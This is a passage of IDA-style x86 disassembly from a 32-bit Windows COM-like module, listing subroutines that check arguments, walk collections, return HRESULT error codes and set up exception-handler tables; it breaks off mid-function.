		lea	eax, [esi+1Ch]
		push	eax
		push	esi
		call	sub_69B54B2A
		mov	[edi], eax
		jmp	short loc_69B54FF3
; ---------------------------------------------------------------------------


loc_69B54FD3:				; DATA XREF: .text:69B5501Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B54FDC:				; DATA XREF: .text:69B55020o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B54FF3:				; CODE XREF: sub_69B54F74+5Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B54FF7:				; CODE XREF: sub_69B54F74+45j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B5500A:				; CODE XREF: sub_69B54F74+20j
		call	sub_69B1853C
		retn	8
sub_69B54F74	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B55018	dd 0FFFFFFFFh			dd offset loc_69B54FD3
		dd offset loc_69B54FDC

; =============== S U B	R O U T	I N E =======================================



sub_69B55024	proc near		; DATA XREF: .text:69B125D8o
		push	20h
		push	offset dword_69B550D0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B55046
		mov	eax, 80004005h
		jmp	short loc_69B550C1
; ---------------------------------------------------------------------------


loc_69B55046:				; CODE XREF: sub_69B55024+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B5506B
		mov	ebx, 80070057h
		jmp	short loc_69B550AE
; ---------------------------------------------------------------------------


loc_69B5506B:				; CODE XREF: sub_69B55024+3Ej
		mov	[ebp-4], ebx
		mov	esi, [esi+40h]
		mov	[ebp-2Ch], esi
		cmp	esi, ebx
		jz	short loc_69B55086
		mov	[ebp-30h], esi
		mov	ecx, esi
		call	sub_69B2F352
		mov	[edi], eax
		jmp	short loc_69B550AA
; ---------------------------------------------------------------------------


loc_69B55086:				; CODE XREF: sub_69B55024+52j
		mov	[edi], ebx
		jmp	short loc_69B550AA
; ---------------------------------------------------------------------------


loc_69B5508A:				; DATA XREF: .text:69B550D4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B55093:				; DATA XREF: .text:69B550D8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B550AA:				; CODE XREF: sub_69B55024+60j
					; sub_69B55024+64j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B550AE:				; CODE XREF: sub_69B55024+45j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B550C1:				; CODE XREF: sub_69B55024+20j
		call	sub_69B1853C
		retn	8
sub_69B55024	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B550D0	dd 0FFFFFFFFh			dd offset loc_69B5508A
		dd offset loc_69B55093

; =============== S U B	R O U T	I N E =======================================



sub_69B550DC	proc near		; DATA XREF: .text:69B125E0o
		push	20h
		push	offset dword_69B55180
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B550FC
		mov	eax, 80004005h
		jmp	short loc_69B55175
; ---------------------------------------------------------------------------


loc_69B550FC:				; CODE XREF: sub_69B550DC+17j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	eax, [ebp+0Ch]
		test	eax, eax
		jnz	short loc_69B55121
		mov	esi, 80070057h
		jmp	short loc_69B55162
; ---------------------------------------------------------------------------


loc_69B55121:				; CODE XREF: sub_69B550DC+3Cj
		and	dword ptr [ebp-4], 0
		and	dword ptr [eax], 0
		mov	ecx, [esi+3Ch]
		mov	[ebp-2Ch], ecx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_69B54DBE
		mov	esi, eax
		mov	[ebp-30h], esi
		jmp	short loc_69B5515E
; ---------------------------------------------------------------------------


loc_69B5513E:				; DATA XREF: .text:69B55184o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B55147:				; DATA XREF: .text:69B55188o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B5515E:				; CODE XREF: sub_69B550DC+60j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B55162:				; CODE XREF: sub_69B550DC+43j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B55175:				; CODE XREF: sub_69B550DC+1Ej
		call	sub_69B1853C
		retn	8
sub_69B550DC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B55180	dd 0FFFFFFFFh			dd offset loc_69B5513E
		dd offset loc_69B55147

; =============== S U B	R O U T	I N E =======================================



sub_69B5518C	proc near		; DATA XREF: .text:69B125ECo
		push	2Ch
		push	offset dword_69B55290
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B551B1
		mov	eax, 80004005h
		jmp	loc_69B55283
; ---------------------------------------------------------------------------


loc_69B551B1:				; CODE XREF: sub_69B5518C+19j
		mov	esi, [ebp+8]
		lea	edi, [esi+0Ch]
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-2Ch], ebx
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B551DE
		mov	dword ptr [ebp-2Ch], 80070057h
		jmp	loc_69B5526F
; ---------------------------------------------------------------------------


loc_69B551DE:				; CODE XREF: sub_69B5518C+44j
		mov	[ebp-4], ebx
		mov	[ebp-30h], ebx
		mov	eax, [esi+24h]
		mov	[ebp-34h], eax
		cmp	eax, ebx
		jz	short loc_69B5523B
		push	dword ptr [ebp+0Ch]
		call	sub_69B48A77
		mov	ebx, eax
		mov	[ebp-38h], ebx
		test	ebx, ebx
		jz	short loc_69B5522B
		mov	ecx, ebx
		call	sub_69B1B42A
		mov	ecx, edi
		mov	[ebp-3Ch], eax
		call	sub_69B87FDC
		mov	ecx, [ebp-3Ch]
		cmp	ecx, eax
		jz	short loc_69B5522B
		push	0
		push	0C00CE21Bh
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5522B:				; CODE XREF: sub_69B5518C+71j
					; sub_69B5518C+89j
		mov	ecx, [esi+24h]
		mov	eax, [ecx]
		push	ebx
		push	0
		push	0
		call	dword ptr [eax+4Ch]
		mov	[ebp-30h], eax


loc_69B5523B:				; CODE XREF: sub_69B5518C+60j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp-30h]
		mov	ecx, esi
		call	sub_69B54DBE
		jmp	short loc_69B5526B
; ---------------------------------------------------------------------------


loc_69B5524A:				; DATA XREF: .text:69B55294o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B55253:				; DATA XREF: .text:69B55298o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax


loc_69B5526B:				; CODE XREF: sub_69B5518C+BCj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B5526F:				; CODE XREF: sub_69B5518C+4Dj
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B55283:				; CODE XREF: sub_69B5518C+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B5518C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B55290	dd 0FFFFFFFFh			dd offset loc_69B5524A
		dd offset loc_69B55253

; =============== S U B	R O U T	I N E =======================================



sub_69B5529C	proc near		; DATA XREF: .text:69B125FCo
		push	1Ch
		push	offset dword_69B55358
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B552C1
		mov	eax, 80004005h
		jmp	loc_69B5534E
; ---------------------------------------------------------------------------


loc_69B552C1:				; CODE XREF: sub_69B5529C+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		cmp	[ebp+10h], edi
		jnz	short loc_69B552E4
		mov	edi, 80070057h
		jmp	short loc_69B5533B
; ---------------------------------------------------------------------------


loc_69B552E4:				; CODE XREF: sub_69B5529C+3Fj
		mov	[ebp-4], edi
		push	dword ptr [ebp+0Ch] ; psz1
		call	sub_69B8A606
		mov	[ebp-2Ch], eax
		dec	eax
		jz	short loc_69B5530A
		push	edi
		push	0C00CE21Dh
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B55337
; ---------------------------------------------------------------------------


loc_69B5530A:				; CODE XREF: sub_69B5529C+57j
		push	dword ptr [esi+38h] ; int
		push	dword ptr [ebp+10h] ; pvarg
		call	sub_69B8A5D5
		jmp	short loc_69B55337
; ---------------------------------------------------------------------------


loc_69B55317:				; DATA XREF: .text:69B5535Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B55320:				; DATA XREF: .text:69B55360o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B55337:				; CODE XREF: sub_69B5529C+6Cj
					; sub_69B5529C+79j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B5533B:				; CODE XREF: sub_69B5529C+46j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B5534E:				; CODE XREF: sub_69B5529C+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B5529C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B55358	dd 0FFFFFFFFh			dd offset loc_69B55317
		dd offset loc_69B55320

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B55364	proc near		; DATA XREF: .text:off_69B28018o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_69B55385
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_0]
		add	ecx, 0FFFFFFE4h
		call	sub_69B54DBE
		test	eax, eax
		jnz	short loc_69B55385
		mov	eax, [ebp+arg_0]
		jmp	short loc_69B55387
; ---------------------------------------------------------------------------


loc_69B55385:				; CODE XREF: sub_69B55364+7j
					; sub_69B55364+1Aj
		xor	eax, eax


loc_69B55387:				; CODE XREF: sub_69B55364+1Fj
		pop	ebp
		retn	4
sub_69B55364	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B5538B(LPCWSTR lpString, int)

sub_69B5538B	proc near		; CODE XREF: sub_69B5545F+10p
					; sub_69B55483+4Ep ...

lpString	= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+lpString]
		test	ebx, ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		mov	esi, ecx
		jnz	short loc_69B553A8
		test	edi, edi
		jnz	short loc_69B553A5
		mov	edi, offset off_69B1A5AC


loc_69B553A5:				; CODE XREF: sub_69B5538B+13j
		mov	ebx, [edi+0Ch]


loc_69B553A8:				; CODE XREF: sub_69B5538B+Fj
		cmp	dword ptr [esi+38h], 1
		push	1
		setz	al
		push	eax
		push	ebx
		push	0
		call	sub_69B5FFCF
		push	eax
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		test	edi, edi
		jz	short loc_69B553CC
		mov	eax, edi
		jmp	short loc_69B553D2
; ---------------------------------------------------------------------------


loc_69B553CC:				; CODE XREF: sub_69B5538B+3Bj
		push	ebx		; lpString
		call	sub_69B1A587


loc_69B553D2:				; CODE XREF: sub_69B5538B+3Fj
		push	eax
		add	esi, 40h
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B5538B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B553E2	proc near		; CODE XREF: sub_69B5545F+1Bp
					; sub_69B55483+63p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B55419
		push	ebx
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		mov	ecx, edi
		mov	ebx, eax
		call	sub_69B1B42A
		cmp	eax, ebx
		pop	ebx
		jz	short loc_69B55419
		push	0
		push	0C00CE21Bh
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B55419:				; CODE XREF: sub_69B553E2+Aj
					; sub_69B553E2+21j
		mov	ecx, [esi+24h]
		mov	eax, [ecx]
		push	1
		push	edi
		push	0
		call	dword ptr [eax+48h]
		push	edi
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		test	edi, edi
		jz	short loc_69B55440
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		jmp	short loc_69B55442
; ---------------------------------------------------------------------------


loc_69B55440:				; CODE XREF: sub_69B553E2+50j
		xor	eax, eax


loc_69B55442:				; CODE XREF: sub_69B553E2+5Cj
		add	esi, 34h
		test	eax, eax
		jz	short loc_69B5544E
		push	dword ptr [eax+3Ch]
		jmp	short loc_69B55454
; ---------------------------------------------------------------------------


loc_69B5544E:				; CODE XREF: sub_69B553E2+65j
		push	dword_69B929E8


loc_69B55454:				; CODE XREF: sub_69B553E2+6Aj
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		retn	4
sub_69B553E2	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B5545F(LPCWSTR lpString, int, int)

sub_69B5545F	proc near		; CODE XREF: sub_69B42C6C+76p

lpString	= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	esi
		push	0		; int
		push	[esp+8+lpString] ; lpString
		mov	esi, ecx
		mov	[esi+38h], eax
		call	sub_69B5538B
		push	[esp+4+arg_4]
		mov	ecx, esi
		call	sub_69B553E2
		pop	esi
		retn	0Ch
sub_69B5545F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B55483	proc near		; DATA XREF: .text:69B125DCo
		push	1Ch
		push	offset dword_69B55530
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B554A5
		mov	eax, 80004005h
		jmp	short loc_69B55524
; ---------------------------------------------------------------------------


loc_69B554A5:				; CODE XREF: sub_69B55483+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		cmp	[ebp+0Ch], edi
		jnz	short loc_69B554C8
		mov	edi, 80070057h
		jmp	short loc_69B55511
; ---------------------------------------------------------------------------


loc_69B554C8:				; CODE XREF: sub_69B55483+3Cj
		mov	[ebp-4], edi
		push	edi		; int
		push	dword ptr [ebp+0Ch] ; lpString
		mov	ecx, esi
		call	sub_69B5538B
		mov	ecx, esi
		call	sub_69B54DEB
		mov	eax, [esi+3Ch]
		mov	[ebp-2Ch], eax
		push	eax
		mov	ecx, esi
		call	sub_69B553E2
		jmp	short loc_69B5550D
; ---------------------------------------------------------------------------


loc_69B554ED:				; DATA XREF: .text:69B55534o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B554F6:				; DATA XREF: .text:69B55538o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B5550D:				; CODE XREF: sub_69B55483+68j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B55511:				; CODE XREF: sub_69B55483+43j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B55524:				; CODE XREF: sub_69B55483+20j
		call	sub_69B1853C
		retn	8
sub_69B55483	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B55530	dd 0FFFFFFFFh			dd offset loc_69B554ED
		dd offset loc_69B554F6

; =============== S U B	R O U T	I N E =======================================



sub_69B5553C	proc near		; DATA XREF: .text:69B125E4o
		push	1Ch
		push	offset dword_69B555E0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B5555E
		mov	eax, 80004005h
		jmp	short loc_69B555D2
; ---------------------------------------------------------------------------


loc_69B5555E:				; CODE XREF: sub_69B5553C+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		xor	eax, eax
		mov	[ebp-4], edi
		cmp	[ebp+0Ch], edi
		jz	short loc_69B5558A
		push	dword ptr [ebp+0Ch]
		call	sub_69B48A77
		mov	[ebp-2Ch], eax


loc_69B5558A:				; CODE XREF: sub_69B5553C+41j
		push	eax
		mov	ecx, esi
		call	sub_69B553E2
		mov	ecx, esi
		call	sub_69B54DEB
		jmp	short loc_69B555BB
; ---------------------------------------------------------------------------


loc_69B5559B:				; DATA XREF: .text:69B555E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B555A4:				; DATA XREF: .text:69B555E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B555BB:				; CODE XREF: sub_69B5553C+5Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B555D2:				; CODE XREF: sub_69B5553C+20j
		call	sub_69B1853C
		retn	8
sub_69B5553C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B555E0	dd 0FFFFFFFFh			dd offset loc_69B5559B
		dd offset loc_69B555A4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B555EC	proc near		; CODE XREF: sub_69B5562F+4Dp
					; sub_69B55773+7Ep ...

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	byte ptr [esi+2Ch], 0
		jnz	short loc_69B55629
		lea	ecx, [ebp+var_4]
		call	sub_69B47D22
		mov	ecx, [esi+24h]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B5561D
		mov	ecx, [esi+28h]
		push	edi
		call	sub_69B8A35C
		jmp	short loc_69B55621
; ---------------------------------------------------------------------------


loc_69B5561D:				; CODE XREF: sub_69B555EC+24j
		mov	byte ptr [esi+2Ch], 1


loc_69B55621:				; CODE XREF: sub_69B555EC+2Fj
		lea	ecx, [ebp+var_4]
		call	sub_69B47D46


loc_69B55629:				; CODE XREF: sub_69B555EC+Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_69B555EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5562F	proc near		; CODE XREF: sub_69B42C6C+4Cp
					; sub_69B63F7F+26p
		push	28h
		push	offset dword_69B55708
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-4], ebx
		push	44h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-20h], ecx
		cmp	ecx, ebx
		jz	short loc_69B5565A
		call	sub_69B4399D
		jmp	short loc_69B5565C
; ---------------------------------------------------------------------------


loc_69B5565A:				; CODE XREF: sub_69B5562F+22j
		xor	eax, eax


loc_69B5565C:				; CODE XREF: sub_69B5562F+29j
		mov	esi, eax
		mov	[ebp-1Ch], esi
		cmp	[ebp+8], ebx
		jz	loc_69B556F4
		push	dword ptr [ebp+8]
		lea	ecx, [esi+24h]
		call	sub_69B199CC


loc_69B55675:				; CODE XREF: sub_69B5562F+52j
		cmp	[esi+2Ch], bl
		jnz	short loc_69B55683
		mov	ecx, esi
		call	sub_69B555EC
		jmp	short loc_69B55675
; ---------------------------------------------------------------------------


loc_69B55683:				; CODE XREF: sub_69B5562F+49j
		mov	ecx, [esi+28h]
		mov	[ebp-24h], ecx
		mov	eax, [ecx+0Ch]
		mov	[ebp-28h], eax
		cmp	eax, ebx
		jz	short loc_69B5569B
		push	ebx
		call	sub_69B8A163
		jmp	short loc_69B5569D
; ---------------------------------------------------------------------------


loc_69B5569B:				; CODE XREF: sub_69B5562F+62j
		xor	eax, eax


loc_69B5569D:				; CODE XREF: sub_69B5562F+6Aj
		mov	ecx, eax
		mov	[ebp-2Ch], ecx
		cmp	ecx, ebx
		jz	short loc_69B556B9
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	[ebp-30h], eax
		mov	eax, [eax+3Ch]
		mov	[ebp-34h], eax
		jmp	short loc_69B556BE
; ---------------------------------------------------------------------------


loc_69B556B9:				; CODE XREF: sub_69B5562F+75j
		mov	eax, dword_69B929E8


loc_69B556BE:				; CODE XREF: sub_69B5562F+88j
		push	eax
		lea	ecx, [esi+34h]
		call	sub_69B199CC
		lea	eax, [esi+24h]
		mov	[ebp-38h], eax
		push	ebx
		push	eax
		call	sub_69B17320
		jmp	short loc_69B556F4
; ---------------------------------------------------------------------------


loc_69B556D6:				; DATA XREF: .text:69B5570Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B556DF:				; DATA XREF: .text:69B55710o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		test	esi, esi
		jz	short loc_69B556EF
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B556EF:				; CODE XREF: sub_69B5562F+B8j
		call	sub_69B2E860


loc_69B556F4:				; CODE XREF: sub_69B5562F+35j
					; sub_69B5562F+A5j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, esi
		call	sub_69B1853C
		retn	4
sub_69B5562F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B55708	dd 0FFFFFFFFh			dd offset loc_69B556D6
		dd offset loc_69B556DF

; =============== S U B	R O U T	I N E =======================================



sub_69B55714	proc near		; CODE XREF: .text:69B43A07p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+34h]
		push	eax
		mov	dword ptr [esi-0Ch], offset off_69B125A8
		mov	dword ptr [esi-8], offset off_69B28068
		mov	dword ptr [esi], offset	off_69B28064
		mov	dword ptr [esi+0Ch], offset off_69B28028
		mov	dword ptr [esi+10h], offset off_69B28018
		mov	dword ptr [esi+14h], offset off_69B28008
		call	sub_69B17230
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		add	esi, 18h
		push	esi
		call	sub_69B17230
		pop	esi
		jmp	sub_69B2C65C
sub_69B55714	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B55773	proc near		; DATA XREF: .text:69B125C8o
		push	34h
		push	offset dword_69B55860
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jnz	short loc_69B55798
		mov	eax, 80004005h
		jmp	loc_69B55852
; ---------------------------------------------------------------------------


loc_69B55798:				; CODE XREF: sub_69B55773+19j
		mov	esi, [ebp+8]
		lea	edi, [esi+0Ch]
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_69B557C0
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		jmp	short loc_69B557C2
; ---------------------------------------------------------------------------


loc_69B557C0:				; CODE XREF: sub_69B55773+41j
		xor	eax, eax


loc_69B557C2:				; CODE XREF: sub_69B55773+4Bj
		push	eax
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_69B3B332
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jnz	short loc_69B557E2
		mov	esi, 80070057h
		jmp	short loc_69B55831
; ---------------------------------------------------------------------------


loc_69B557E2:				; CODE XREF: sub_69B55773+66j
		and	dword ptr [edi], 0
		and	dword ptr [ebp-4], 0


loc_69B557E9:				; CODE XREF: sub_69B55773+83j
		cmp	byte ptr [esi+2Ch], 0
		jnz	short loc_69B557F8
		mov	ecx, esi
		call	sub_69B555EC
		jmp	short loc_69B557E9
; ---------------------------------------------------------------------------


loc_69B557F8:				; CODE XREF: sub_69B55773+7Aj
		mov	esi, [esi+28h]
		mov	[ebp-3Ch], esi
		mov	esi, [esi+0Ch]
		mov	[ebp-40h], esi
		mov	[edi], esi
		xor	esi, esi
		mov	[ebp-44h], esi
		jmp	short loc_69B5582D
; ---------------------------------------------------------------------------


loc_69B5580D:				; DATA XREF: .text:69B55864o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B55816:				; DATA XREF: .text:69B55868o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B5582D:				; CODE XREF: sub_69B55773+98j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B55831:				; CODE XREF: sub_69B55773+6Dj
		lea	ecx, [ebp-38h]
		call	sub_69B18EBA
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_69B55850
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B55850:				; CODE XREF: sub_69B55773+D2j
		mov	eax, esi


loc_69B55852:				; CODE XREF: sub_69B55773+20j
		call	sub_69B1853C
		retn	8
sub_69B55773	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B55860	dd 0FFFFFFFFh			dd offset loc_69B5580D
		dd offset loc_69B55816

; =============== S U B	R O U T	I N E =======================================



sub_69B5586C	proc near		; CODE XREF: sub_69B558B9+2Bp
					; sub_69B55AD3+Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jl	short loc_69B558B2
		cmp	byte ptr [esi+2Ch], 0
		jnz	short loc_69B55898
		push	ebx
		lea	ebx, [edi+1]


loc_69B55882:				; CODE XREF: sub_69B5586C+29j
		mov	eax, [esi+28h]
		cmp	ebx, [eax+0Ch]
		jl	short loc_69B55897
		mov	ecx, esi
		call	sub_69B555EC
		cmp	byte ptr [esi+2Ch], 0
		jz	short loc_69B55882


loc_69B55897:				; CODE XREF: sub_69B5586C+1Cj
		pop	ebx


loc_69B55898:				; CODE XREF: sub_69B5586C+10j
		mov	ecx, [esi+28h]
		cmp	edi, [ecx+0Ch]
		jge	short loc_69B558B2
		push	edi
		call	sub_69B8A163
		cmp	[esp+8+arg_4], 0
		jnz	short loc_69B558B4
		mov	[esi+30h], edi
		jmp	short loc_69B558B4
; ---------------------------------------------------------------------------


loc_69B558B2:				; CODE XREF: sub_69B5586C+Aj
					; sub_69B5586C+32j
		xor	eax, eax


loc_69B558B4:				; CODE XREF: sub_69B5586C+3Fj
					; sub_69B5586C+44j
		pop	edi
		pop	esi
		retn	8
sub_69B5586C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B558B9	proc near		; CODE XREF: sub_69B55934+62p
					; sub_69B559BD+64p ...
		push	10h
		push	offset dword_69B55928
		call	sub_69B19C5C
		mov	edi, ecx
		mov	esi, [ebp+0Ch]
		test	esi, esi
		jnz	short loc_69B558D5
		mov	eax, 80070057h
		jmp	short loc_69B5591C
; ---------------------------------------------------------------------------


loc_69B558D5:				; CODE XREF: sub_69B558B9+13j
		and	dword ptr [ebp-4], 0
		and	dword ptr [esi], 0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		mov	ecx, edi
		call	sub_69B5586C
		mov	[ebp-1Ch], eax
		push	esi
		push	eax
		mov	ecx, edi
		call	sub_69B54DBE
		mov	[ebp-20h], eax
		jmp	short loc_69B55918
; ---------------------------------------------------------------------------


loc_69B558FA:				; DATA XREF: .text:69B5592Co
